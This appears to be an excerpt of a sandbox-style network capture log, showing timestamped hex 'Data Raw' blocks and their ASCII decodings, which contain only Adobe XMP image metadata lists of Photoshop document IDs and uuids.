65 61 61 30 63 65 39 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 
6f 74 6f 73 68 6f 70 3a 65 34 63 38 37 30 37 62 2d 62 36 30 61 2d 31 31 64 38 2d 39 63 62 38 2d 63 66 31 32 38 38 35 
30 32 64 62 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 
73 68 6f 70 3a 65 34 65 36 38 31 39 38 2d 34 65 32 36 2d 31 31 65 35 2d 62 32 30 61 2d 65 33 35 31 39 34 38 65 35 66 
62 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 
70 3a 65 35 30 61 39 64 62 39 2d 66 34 39 39 2d 37 32 34 37 2d 
Data Ascii: otoshop:e494e4fb-a675-11dc-92ed-8925eaa0ce95</rdf:li> <rdf:li>adobe:docid:photoshop:e4c8707b-b60a-
11d8-9cb8-cf1288502db2</rdf:li> <rdf:li>adobe:docid:photoshop:e4e68198-4e26-11e5-b20a-e351948e5fbb</rdf:li> <r
df:li>adobe:docid:photoshop:e50a9db9-f499-7247-

2022-05-13 14:42:07 UTC 5885 IN Data Raw: 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 
66 63 30 39 62 33 38 66 2d 63 64 66 38 2d 31 31 37 39 2d 38 65 39 63 2d 61 34 65 38 34 66 30 31 63 31 38 35 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 63 35 
63 63 64 36 65 2d 35 66 66 37 2d 31 31 37 38 2d 39 61 35 37 2d 61 62 36 36 65 37 65 66 61 61 38 38 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 63 37 31 63 65 
38 34 2d 39 36 32 35 2d 31 31 37 37 2d 38 39 61 35 2d 65 66 34 34 31 32 39 33 38 62 35 61 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 
Data Ascii: f:li> <rdf:li>adobe:docid:photoshop:fc09b38f-cdf8-1179-8e9c-a4e84f01c185</rdf:li> <rdf:li>adobe:docid:photos
hop:fc5ccd6e-5ff7-1178-9a57-ab66e7efaa88</rdf:li> <rdf:li>adobe:docid:photoshop:fc71ce84-9625-1177-89a5-ef4412
938b5a</rdf:li> <rdf:li>adobe:docid:p

2022-05-13 14:42:07 UTC 5901 IN Data Raw: 46 38 39 46 43 37 38 30 44 45 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 33 
33 33 32 45 45 42 38 30 46 32 45 30 31 31 41 41 31 42 45 42 41 43 44 35 44 34 30 36 46 32 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 33 41 37 36 31 43 45 42 38 35 41 31 31 44 42 38 33 43 30 39 30 45 46 43 
33 33 41 38 43 42 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 33 43 39 46 38 32 39 43 4
5 46 37 44 45 31 31 42 33 33 36 46 46 41 43 30 33 46 38 42 37 42 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 75 75 69 64 3a 33 33 46 36 30 42 33 41 44 39 32 30 44 46 31 31 42 39 41 36 44 30 30 31 35 41 42 35 36 41 44 36 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 
Data Ascii: F89FC780DE8</rdf:li> <rdf:li>uuid:33332EEB80F2E011AA1BEBACD5D406F2</rdf:li> <rdf:li>uuid
:33A761CEB85A11DB83C090EFC33A8CBE</rdf:li> <rdf:li>uuid:33C9F829CEF7DE11B336FFAC03F8B7BD</rdf:li> <r
df:li>uuid:33F60B3AD920DF11B9A6D0015AB56AD6</rdf:li> <rdf:li>uuid:3

2022-05-13 14:42:09 UTC 8879 IN Data Raw: 75 75 69 64 3a 36 37 37 41 46 32 32 43 39 36 32 37 31 31 44 43 41 34 46 45 44 43 35 34 36 34 34 39 36 30 
33 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 37 41 39 35 46 43 35 33 39 42 44 45 30 
31 31 39 36 36 44 39 41 41 34 36 46 33 43 31 30 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 6
4 3a 36 37 42 45 46 33 36 43 42 30 39 34 44 45 31 31 38 30 37 39 46 33 42 30 32 34 46 41 34 38 41 32 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 37 44 42 36 32 36 42 41 31 44 44 34 43 34 42 20 39 37 39 31 
32 45 43 44 39 34 42 37 31 46 45 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 38 30 31 
39 38 34 42 46 39 39 45 44 44 31 31 38 41 30 44 39 37 32 41 38 33 32 36 42 
Data Ascii: uuid:677AF22C962711DCA4FEDC5464496031</rdf:li> <rdf:li>uuid:67A95FC539BDE011966D9AA46F3C
1044</rdf:li> <rdf:li>uuid:67BEF36CB094DE118079F3B024FA48A2</rdf:li> <rdf:li>uuid:67DB626BA1DD4C4B 9
7912ECD94B71FEC</rdf:li> <rdf:li>uuid:6801984BF99EDD118A0D972A8326B

2022-05-13 14:42:09 UTC 8887 IN Data Raw: 41 38 39 38 44 41 33 36 37 39 41 39 46 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 
3a 37 46 36 43 30 43 34 43 46 43 39 42 44 43 31 31 42 37 39 34 39 35 37 44 30 37 34 36 43 44 38 43 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 46 37 42 42 41 31 37 35 36 44 36 31 31 44 42 38 45 38 39 41 32 
32 33 42 34 36 36 43 38 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 30 37 33 43 39 3
1 35 43 34 34 31 45 36 31 31 42 38 32 41 41 35 42 33 38 32 34 30 46 41 43 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 75 75 69 64 3a 38 30 44 30 38 34 39 45 42 45 39 42 44 46 31 31 42 37 35 35 41 35 39 31 32 43 37 38 44 34 
46 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 
Data Ascii: A898DA3679A9F1</rdf:li> <rdf:li>uuid:7F6C0C4CFC9BDC11B794957D0746CD8C</rdf:li> <rdf:li>u
uid:7F7BBA1756D611DB8E89A223B466C827</rdf:li> <rdf:li>uuid:8073C915C441E611B82AA5B38240FAC7</rdf:li> 
<rdf:li>uuid:80D0849EBE9BDF11B755A5912C78D4F0</rdf:li> <rdf:li>uui

2022-05-13 14:42:09 UTC 8903 IN Data Raw: 34 39 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 33 30 37 45 36 45 34 43 36 
34 31 45 30 31 31 41 38 30 44 44 36 34 39 38 43 45 37 46 43 39 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 75 75 69 64 3a 42 33 35 36 46 38 39 35 44 43 45 45 31 31 44 41 38 44 46 46 46 46 39 36 31 33 46 38 45 30 38 45 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 33 41 36 45 38 36 34 35 39 46 44 44 46 31 31 42 
32 43 33 46 33 42 44 39 33 46 42 31 42 37 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 
33 42 45 44 35 32 36 43 34 32 41 44 44 31 31 39 43 43 42 39 36 41 33 43 36 39 46 43 39 45 44 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 33 45 31 35 41 42 46 45 
Data Ascii: 497</rdf:li> <rdf:li>uuid:B307E6E4C641E011A80DD6498CE7FC9D</rdf:li> <rdf:li>uuid:B356F89
5DCEE11DA8DFFFF9613F8E08E</rdf:li> <rdf:li>uuid:B3A6E86459FDDF11B2C3F3BD93FB1B77</rdf:li> <rdf:li>uu
id:B3BED526C42ADD119CCB96A3C69FC9ED</rdf:li> <rdf:li>uuid:B3E15ABFE

2022-05-13 14:42:09 UTC 8919 IN Data Raw: 46 44 43 35 37 39 46 44 44 44 35 43 36 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 
3a 46 32 33 41 30 44 43 34 32 34 33 31 45 30 31 31 39 37 36 38 44 45 32 46 35 32 31 31 32 46 36 42 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 32 37 35 37 31 43 32 37 37 32 45 44 44 31 31 41 33 30 35 43 38 
43 36 39 45 35 36 30 44 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 32 38 42 41 36 4
4 46 38 42 30 30 45 31 31 31 38 35 31 43 38 36 39 42 34 32 41 31 35 43 36 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 75 75 69 64 3a 46 32 41 45 35 45 35 33 39 32 44 37 31 31 44 44 41 33 37 42 39 44 43 34 33 31 41 32 42 32 
46 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 
Data Ascii: FDC579FDDD5C6C</rdf:li> <rdf:li>uuid:F23A0DC42431E0119768DE2F52112F6B</rdf:li> <rdf:li>uuid:F27571
C2772EDD11A305C8C69E560DD7</rdf:li> <rdf:li>uuid:F28BA6DF8B00E111851C869B42A15C60</rdf:li> <rdf:li>u
uid:F2AE5E5392D711DDA37B9DC431A2B2F9</rdf:li> <rdf:li>uui
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2022-05-13 14:42:09 UTC 8926 IN Data Raw: 37 31 46 44 45 33 44 30 39 38 38 33 46 33 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 
2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 37 31 46 45 31 36 35 44 35 45 37 45 42 34 38 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 
31 38 37 31 46 45 46 32 43 30 43 38 35 42 46 37 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 6
4 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 38 43 36 38 43 37 38 34 42 34 32 35 45 39 41 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 
38 38 43 36 39 44 31 36 46 34 46 36 43 39 33 43 3c 2f 72 64 66 3a 6c 69 
Data Ascii: 71FDE3D09883F37</rdf:li> <rdf:li>xmp.did:0180117407206811871FE165D5E7EB48</rdf:li> <rdf:li>xmp.did
:0180117407206811871FEF2C0C85BF7C</rdf:li> <rdf:li>xmp.did:018011740720681188C68C784B425E9A</rdf:li> 
<rdf:li>xmp.did:018011740720681188C69D16F4F6C93C</rdf:li

2022-05-13 14:42:09 UTC 8942 IN Data Raw: 36 41 32 38 31 42 31 32 35 32 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 
3a 30 33 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 35 42 42 38 45 32 44 39 39 41 36 37 36 44 36 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 33 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 37 41 
35 39 34 35 36 38 30 35 46 45 37 39 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 3
0 33 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 31 44 33 41 46 46 38 32 41 37 46 43 46 42 37 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 33 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 37 33 32 45 
42 36 31 30 43 38 35 44 37 41 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
Data Ascii: 6A281B12522</rdf:li> <rdf:li>xmp.did:038011740720681195BB8E2D99A676D6</rdf:li> <rdf:li>xmp.did:038
011740720681197A59456805FE796</rdf:li> <rdf:li>xmp.did:0380117407206811A1D3AFF82A7FCFB7</rdf:li> <rd
f:li>xmp.did:0380117407206811A732EB610C85D7A5</rdf:li> <r

2022-05-13 14:42:09 UTC 8958 IN Data Raw: 3a 30 38 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 41 36 44 44 34 36 44 41 30 43 41 31 30 43 46 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 38 30 31 31 37 34 30 37 32 30 36 38 31 
31 38 41 36 44 45 41 35 36 41 42 34 43 34 35 44 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 6
4 69 64 3a 30 38 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 43 31 34 38 39 32 36 36 35 38 34 44 37 42 32 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 38 30 31 31 37 34 30 37 32 30 36 38 31 31 
38 43 31 34 42 38 37 30 37 44 35 37 30 41 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
69 64 3a 30 38 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 43 31 34 42 39 
Data Ascii: :08801174072068118A6DD46DA0CA10CF</rdf:li> <rdf:li>xmp.did:08801174072068118A6DEA56AB4C4
5D8</rdf:li> <rdf:li>xmp.did:08801174072068118C1489266584D7B2</rdf:li> <rdf:li>xmp.did:08801174072068118C14B87
07D570A5C</rdf:li> <rdf:li>xmp.did:08801174072068118C14B9

2022-05-13 14:42:09 UTC 8966 IN Data Raw: 39 38 39 30 34 43 44 35 38 30 35 36 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 
64 69 64 3a 30 44 38 42 44 31 38 32 46 30 36 45 45 31 31 31 42 32 39 35 46 42 44 33 33 31 46 36 35 42 34 39 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 44 42 30 42 38 30 31 30 43 32 30 36 38 31 31 
41 39 36 31 42 41 41 31 32 35 38 31 37 42 34 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 6
9 64 3a 30 44 42 42 39 32 37 35 32 41 31 39 45 30 31 31 41 39 43 46 46 43 43 32 30 45 38 38 38 36 45 31 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 44 44 31 43 41 36 38 38 37 32 30 36 38 31 31 38 
32 33 46 44 31 34 44 45 32 43 38 43 38 37 35 3c 2f 72 64 66 3a 6c 69 3e 
Data Ascii: 98904CD5805600</rdf:li> <rdf:li>xmp.did:0D8BD182F06EE111B295FBD331F65B49</rdf:li> <rdf:li>xmp.did:
0DB0B8010C206811A961BAA125817B42</rdf:li> <rdf:li>xmp.did:0DBB92752A19E011A9CFFCC20E8886E1</rdf:li> 
<rdf:li>xmp.did:0DD1CA6887206811823FD14DE2C8C875</rdf:li>

2022-05-13 14:42:09 UTC 8982 IN Data Raw: 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 44 46 45 34 33 34 45 39 45 36 43 45 31 31 31 38 
45 36 44 39 34 45 44 37 35 42 30 34 36 31 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 
64 3a 31 45 30 37 43 43 41 35 35 37 44 46 31 31 45 31 41 44 35 43 43 46 30 45 31 37 44 39 33 37 44 42 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 45 32 30 35 30 45 44 38 33 43 36 45 30 31 31 39 44 
33 35 42 38 35 42 37 45 32 45 39 45 45 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 
3a 31 45 32 41 39 30 43 42 35 33 34 38 31 31 45 35 39 41 31 39 44 31 44 46 31 38 30 37 43 45 39 45 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 45 36 38 42 
Data Ascii: > <rdf:li>xmp.did:1DFE434E9E6CE1118E6D94ED75B04616</rdf:li> <rdf:li>xmp.did:1E07CCA557DF
11E1AD5CCF0E17D937DB</rdf:li> <rdf:li>xmp.did:1E2050ED83C6E0119D35B85B7E2E9EE3</rdf:li> <rdf:li>xmp.
did:1E2A90CB534811E59A19D1DF1807CE9E</rdf:li> <rdf:li>xmp.did:1E68B

2022-05-13 14:42:09 UTC 8998 IN Data Raw: 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 44 41 30 41 46 42 39 46 44 39 
44 45 31 31 31 41 44 44 32 39 42 36 38 34 45 34 35 45 35 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
78 6d 70 2e 64 69 64 3a 32 44 41 35 46 44 44 41 31 32 32 30 36 38 31 31 39 31 30 39 45 46 37 39 44 46 31 37 44 35 34 
46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 44 44 30 34 43 42 33 43 42 36 30 
44 46 31 31 42 31 41 45 45 39 41 45 31 43 45 44 30 39 33 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 
6d 70 2e 64 69 64 3a 32 44 44 42 37 34 36 45 32 43 36 44 45 32 31 31 41 35 45 45 43 37 34 31 42 42 41 35 32 30 42 46 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 
Data Ascii: rdf:li> <rdf:li>xmp.did:2DA0AFB9FD9DE111ADD29B684E45E581</rdf:li> <rdf:li>xmp.did:2DA5FD
DA122068119109EF79DF17D54F</rdf:li> <rdf:li>xmp.did:2DD04CB3CB60DF11B1AEE9AE1CED0931</rdf:li> <rdf:l
i>xmp.did:2DDB746E2C6DE211A5EEC741BBA520BF</rdf:li> <rdf:li>xmp.did

2022-05-13 14:42:09 UTC 9006 IN Data Raw: 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 33 35 32 38 31 66 33 2d 62 38 
63 30 2d 61 65 34 37 2d 62 31 38 32 2d 65 38 65 38 34 61 63 63 34 38 33 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 33 35 32 64 66 31 35 2d 61 63 64 38 2d 34 34 61 64 2d 61 34 64 65 2d 66 62 63 
39 62 35 64 35 64 63 33 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 33 36 65 
62 35 33 37 2d 36 30 33 31 2d 61 34 34 33 2d 38 37 39 64 2d 34 36 37 33 34 31 38 61 33 63 33 66 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 33 37 62 62 62 39 64 2d 37 30 31 38 2d 35 66 34 63 2d 62 
36 64 34 2d 62 32 62 65 35 65 32 61 37 65 63 37 3c 2f 72 64 66 3a 6c 69 3e 
Data Ascii: rdf:li> <rdf:li>xmp.did:335281f3-b8c0-ae47-b182-e8e84acc483b</rdf:li> <rdf:li>xmp.did:3352df15-acd8-44ad-
a4de-fbc9b5d5dc3e</rdf:li> <rdf:li>xmp.did:336eb537-6031-a443-879d-4673418a3c3f</rdf:li> <rdf:li>xmp.did:337bbb9d-
7018-5f4c-b6d4-b2be5e2a7ec7</rdf:li>

2022-05-13 14:42:09 UTC 9022 IN Data Raw: 70 2e 64 69 64 3a 34 31 34 43 46 34 35 43 33 32 46 41 45 30 31 31 41 39 35 37 39 45 31 33 39 43 36 45 37 
36 39 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 31 34 61 64 32 34 31 2d 39 
37 37 36 2d 37 39 34 31 2d 61 61 62 64 2d 32 34 64 66 37 32 63 38 63 32 66 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 31 38 44 43 46 34 32 30 38 32 30 36 38 31 31 38 32 32 41 45 38 31 44 43 42 
38 45 43 44 39 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 31 39 34 66 62 64 
63 2d 64 32 66 35 2d 34 63 66 37 2d 39 64 36 36 2d 32 35 38 62 39 66 39 30 62 62 32 31 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 31 41 35 41 32 39 44 44 
Data Ascii: p.did:414CF45C32FAE011A9579E139C6E7696</rdf:li> <rdf:li>xmp.did:414ad241-9776-7941-aabd-
24df72c8c2f7</rdf:li> <rdf:li>xmp.did:418DCF4208206811822AE81DCB8ECD93</rdf:li> <rdf:li>xmp.did:4194fbdc-d2f5-
4cf7-9d66-258b9f90bb21</rdf:li> <rdf:li>xmp.did:41A5A29DD
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2022-05-13 14:42:09 UTC 9038 IN Data Raw: 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 31 35 34 36 46 44 44 31 33 32 30 36 38 31 31 
39 32 42 30 42 41 41 39 30 34 44 45 30 46 38 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
69 64 3a 35 31 35 42 42 31 34 35 42 34 32 30 36 38 31 31 41 36 31 33 44 42 32 36 39 46 45 46 35 32 34 44 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 31 36 36 31 37 43 45 36 33 32 32 36 38 31 31 39 
34 35 37 43 41 46 46 35 39 46 30 35 46 39 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 
64 3a 35 31 36 36 43 31 39 34 37 36 32 31 36 38 31 31 38 41 36 44 43 30 38 45 46 46 45 44 45 37 42 35 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 31 36 37 
Data Ascii: i> <rdf:li>xmp.did:51546FDD1320681192B0BAA904DE0F8D</rdf:li> <rdf:li>xmp.did:515BB145B42
06811A613DB269FEF524D</rdf:li> <rdf:li>xmp.did:516617CE632268119457CAFF59F05F95</rdf:li> <rdf:li>xmp
.did:5166C194762168118A6DC08EFFEDE7B5</rdf:li> <rdf:li>xmp.did:5167

2022-05-13 14:42:09 UTC 9046 IN Data Raw: 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 38 36 37 38 39 61 30 2d 64 66 30 36 2d 34 35 
64 36 2d 61 34 32 32 2d 63 34 39 33 35 38 33 36 39 33 66 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 
6d 70 2e 64 69 64 3a 35 38 39 35 64 30 32 61 2d 37 66 36 32 2d 34 35 33 38 2d 38 37 64 39 2d 31 64 34 31 32 61 35 37 
65 37 38 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 38 39 46 31 44 42 45 31 
42 32 30 36 38 31 31 38 43 31 34 46 39 35 44 33 43 39 34 44 44 32 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 78 6d 70 2e 64 69 64 3a 35 38 45 35 37 31 46 33 44 32 32 30 36 38 31 31 39 32 42 30 39 46 34 38 32 37 30 45 34 
39 32 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 
Data Ascii: i> <rdf:li>xmp.did:586789a0-df06-45d6-a422-c493583693f6</rdf:li> <rdf:li>xmp.did:5895d02a-7f62-4538-
87d9-1d412a57e78b</rdf:li> <rdf:li>xmp.did:589F1DBE1B2068118C14F95D3C94DD26</rdf:li> <rdf:li>xmp.did:58E571F
3D220681192B09F48270E4925</rdf:li> <rdf:li>xmp.

2022-05-13 14:42:09 UTC 9062 IN Data Raw: 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 37 62 61 64 30 65 64 2d 36 62 61 32 2d 39 64 34 35 2d 62 30 61 38 2d 
33 34 62 38 36 61 39 62 61 62 34 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 
37 62 63 30 34 31 33 2d 36 66 30 33 2d 34 61 62 37 2d 38 33 38 34 2d 32 61 63 35 38 32 65 39 64 61 36 35 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 37 64 62 66 32 38 37 2d 33 64 37 61 2d 34 37 34 
30 2d 39 63 34 61 2d 38 30 62 38 30 65 33 38 61 30 63 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
70 2e 64 69 64 3a 36 37 65 38 62 36 31 66 2d 37 64 37 66 2d 64 33 34 62 2d 61 38 35 34 2d 33 37 32 37 35 30 64 65 62 
33 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 
Data Ascii: li>xmp.did:67bad0ed-6ba2-9d45-b0a8-34b86a9bab40</rdf:li> <rdf:li>xmp.did:67bc0413-6f03-4ab7-8384-2
ac582e9da65</rdf:li> <rdf:li>xmp.did:67dbf287-3d7a-4740-9c4a-80b80e38a0c6</rdf:li> <rdf:li>xmp.did:67e8b61f-7d7f-
d34b-a854-372750deb367</rdf:li> <rdf:li>xmp.

2022-05-13 14:42:09 UTC 9078 IN Data Raw: 36 33 38 46 39 46 43 39 35 45 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 
3a 37 36 34 65 33 33 32 34 2d 39 31 32 39 2d 66 62 34 31 2d 62 65 62 62 2d 35 31 34 62 65 64 66 66 36 30 64 34 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 36 36 31 46 33 35 35 46 33 32 30 36 38 31 
31 39 37 41 35 39 30 44 38 33 33 46 34 43 42 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 6
4 69 64 3a 37 36 36 34 43 42 46 38 34 38 32 30 36 38 31 31 38 30 38 33 42 46 44 39 41 39 46 38 31 37 33 30 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 36 37 39 39 37 36 39 36 43 32 30 36 38 31 31 
38 46 36 32 42 42 34 42 32 37 45 31 34 30 43 35 3c 2f 72 64 66 3a 6c 69 
Data Ascii: 638F9FC95EE</rdf:li> <rdf:li>xmp.did:764e3324-9129-fb41-bebb-514bedff60d4</rdf:li> <rdf:li>xmp.did
:7661F355F320681197A590D833F4CB14</rdf:li> <rdf:li>xmp.did:7664CBF8482068118083BFD9A9F81730</rdf:li> 
<rdf:li>xmp.did:767997696C2068118F62BB4B27E140C5</rdf:li

